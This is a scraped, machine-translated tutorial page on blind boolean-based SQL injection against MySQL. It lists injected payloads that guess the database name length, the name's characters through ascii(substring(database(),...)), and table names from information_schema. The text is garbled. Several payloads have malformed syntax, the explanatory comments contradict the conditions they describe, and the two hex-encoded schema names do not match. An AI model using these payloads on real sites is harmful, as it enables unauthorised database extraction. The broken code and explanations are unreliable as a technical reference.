Mysql does not support the blind note method of union select.

Source: Internet
Author: User

Length of the database to be guessed
And Length (database () <10 // If the returned value is less than 12, the database is less than 12 characters.

And length (database () <8 // if the value is less than 8, an error is returned, indicating that the database name is 9 bits.

Guess Database Name
And ascii (substring (database (), 100) = 100 // the ascii code of = d, indicating that it is not d

And ascii (substring (database (), 122) = 122 // indicates that the first database name is z

And ascii (substring (database (), 114) = 114 Return Error description not ascii code = r description second not r

And ascii (substring (database (), 115) = returns the normal result, indicating that the second digit is s


Guess table
And Length (SELECT distinct table_name FROM information_schema.tables Where table_schema = 0x7A73323236315F6462 limit) <10 # If the returned value is less than 8, the table is less than 10.

And Length (SELECT distinct table_name FROM information_schema.tables Where table_schema = 0x7a733236315f6462 limit)> 9 # An error is returned when the value is greater than 9, indicating that the value is 9 or 8...


Ascii code table reference:



Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.